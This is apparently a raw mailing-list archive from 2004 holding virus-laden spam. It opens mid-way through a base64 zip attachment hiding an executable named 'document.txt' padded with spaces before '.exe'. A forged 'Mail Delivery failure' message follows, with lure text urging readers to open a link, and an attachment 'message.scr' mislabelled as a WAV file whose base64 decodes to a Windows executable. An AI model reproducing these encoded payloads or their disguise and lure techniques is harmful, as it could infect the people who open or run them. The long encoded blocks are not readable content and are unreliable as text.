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 CMGJZhwX3/t1Jkp8DiwDuJzy91dlG2OF+pv79CVJJ16IW1nrfx2FmmyWfGus7JYKRAL3O/lO ETVz6Gr2COCfONzVqqFNw2A6jh09IpEcZIQrVuLGc5IzA2vbB7zi00bKmEpRl6QPi44TBhjQ 0nvkKc6250JZ0KgY0MUArHrJIf204NYzS6kNHSp6kt01sh3idEuPAAABAAIAICAQAAEABADo AgAAAQAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAzP//AGhXWAAA AAAAgICAAP///wDAwMAA/wAAAAD//wC/AAAAAAD/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ACIhEiIiIiIiIiIiIiIiIiIiITVVVVVVVVVVVVVVJSIiIiNERERERERERERERFJSIiIjRERE REREVVRERVVSUiIiI0SIiIhESZlERJmUUlIiIiNERERERESVRERJVFJSIiIjRIiIiIhESVVV WVRSUiIiI0RERERERESZmZlUUlIiIiNEiIiIiIhESVRJVFJSIiIjRERERERERESVSVRSUiIi I0SIiIiIiIhESVlUUlIiIiNERERERERERESZVFJSIiIjRIiIiIiIiIhESURSUiIiI0RERERE REREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIjRERERERERERERERSUiIiI0SIiIiIiIiIiIhE UlIiIiNERERERERERERERFJSIiIjRCIiIiJEiIiIiERSUiIiI0Q5kkRCREREREREUlIiIiNE MiIiIkSIiIiIRFJSIiIjRDRCd3JERERERERSUiIiI0QyIndyRIiIiIhEUlIiIiNENEJ3ckRE RERERFJSIiIjRDRCZmJERERERERSUiIiI0Q0QmZiREREREREUlIiIiNEMzIiIkRERERERFJS IiIjRERERERERERERERSUiIiI0JEJEJEJEJEJEJEMlIiIiNCRCRCRCRCRCRCRDJSIiIiJDND NDNDNDNDNDNDIiIiIiIiIiIiIiIiIiIiIiIi4AAAD+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAA B+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfg AAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH+AAAD/////+hHOgwQAFp wP1DA8AFwzieJiijEAPB+BAl/3+HAMOLRCRVBBLpVezsUQdTVlcz/zGJffzUFRxgICiL8GjI wDcPt0UIUGRWJhgh2FORFRQyUA4QITvHiYo8dCoWEQwNV2iArMBqAvGwEhFA/3VsDIo0CIiD +Pu/VAF1BDPA60HQ2zsD93YY6GH/HAKZuRsBUvH5i4CMMBQDQzveHnLojcz8V+F1bAh9eASK LgkRZ3o5sfwPlNhfXilbybIcgYxkDHxWcL5gBAxXjYWcb/OiplBqYCkVLKwNPSgNiCzg+06M 1xS8RvcAgH3+XIs1JMU9v+BF4XQKIiVXBdYhCmjQsC8dgL3ciVyhQjwgIf414aE5EDRhMAlq Zegyu/4QWZM/vQqDUI7KJpEgQbAGr3JECGrbBSjERqPkH8gWPIk9tyMtdFMUNOhsRXZ1IsYD FTg1fFBRWhIJdViWhRLAdAVUTRNGFSM0ERR1GQ9qAecwSBIC9NCQMTDCEAC0ODBAMpAJdCQQ Q1UnbJfOjmnPbQphCJ92j2Ug70Xvbu9j73LveexwK2X8ZM8mV+1vI5tMRA3WL+UWFM0wYkqf ClPZa1lOsydcLvND81p2M6gxcCr/w4U8NWSnLrhTDspGgZ9nmWgVc/lCVJEOhGsZA3X4ZXL2 bwBuZmlnOXguZHFs4RBCSU4YQVJZEEZWA1Byb3RlY5suo3i2MWBcAADgAeAC4CDiEM4RBA3o Fr4RfaQOeyiDRiIBjCgJEIkgFkmJFMDCnwEVgANvCBQHkAJmE8AC0BAJcFX/A7wIUgdBAgYT Co5CKAF3AWxwECif0QQIEHmZg/RE9/0mECKEEOL3jtACEJyRT70YCPCrARnSD48DgFx4wFQH sAOtBFIDOOqvAAAB4CBwQA5LRVJOYEwzMi5kcWzgRuhvBnNlSGFuGO3AWnI+aXQ6Rm4Vvr8p YQscQR1Wn3pHb2ZS53NRdXJjnzZPOqlrDWJhZBYQSWlutm56Sj10Tb5kKWxdsyJG8XB5SVKb 5HRGRMAkV8Frb3dzRN8+5GP56nmlOaAtFE5hbUyGUHLw8mTjnExzanYfTGliO1MvPlRQk0PP 7m40DRhMYbxFctxc68WMTXUIeMxOAwAAAAAAAAAAAAAAAABQSwECFAAKAAAAAADLfZ4wo4gd 3oBzAACAcwAAUwAAAAAAAAAAACAAAAAAAAAAZG9jdW1lbnQudHh0ICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5l eGVQSwUGAAAAAAEAAQCBAAAA8XMAAAAA ------=_NextPart_000_0016----=_NextPart_000_0016-- From 3dlarrylabel@excite.com Fri Apr 30 12:57:46 2004 Received: from syl.extundo.com (syl.extundo.com [212.32.189.101]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3UGvjs10380 for ; Fri, 30 Apr 2004 12:57:45 -0400 Received: from xemacs.org (modemcable022.146-201-24.mc.videotron.ca [24.201.146.22]) by syl.extundo.com (8.12.10/8.12.10) with ESMTP id i3UHWD63001427 for ; Fri, 30 Apr 2004 19:32:18 +0200 Message-Id: <200404301732.i3UHWD63001427@syl.extundo.com> From: 3dlarrylabel@excite.com To: xemacs-beta-archive@xemacs.org Subject: Mail Delivery (failure xemacs-beta-archive@xemacs.org) Date: Fri, 30 Apr 2004 12:41:38 -0700 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_001B_01C0CA80.6B015D10" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: multipart/alternative; boundary="----=_NextPart_001_001C_01C0CA80.6B015D10" ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable If the message will not displayed automatically,
follow the link to read the delivered message.

Received message is available at:
www.xemacs.org/inbox/xemacs-beta-archive/read.php?sessionid-21197
 
------=_NextPart_001_001C_01C0CA80.6B015D10-- ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: audio/x-wav; name="message.scr" Content-Transfer-Encoding: base64 Content-ID: <031401Mfdab4$3f3dL780$73387018@57W81fa70Re> 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 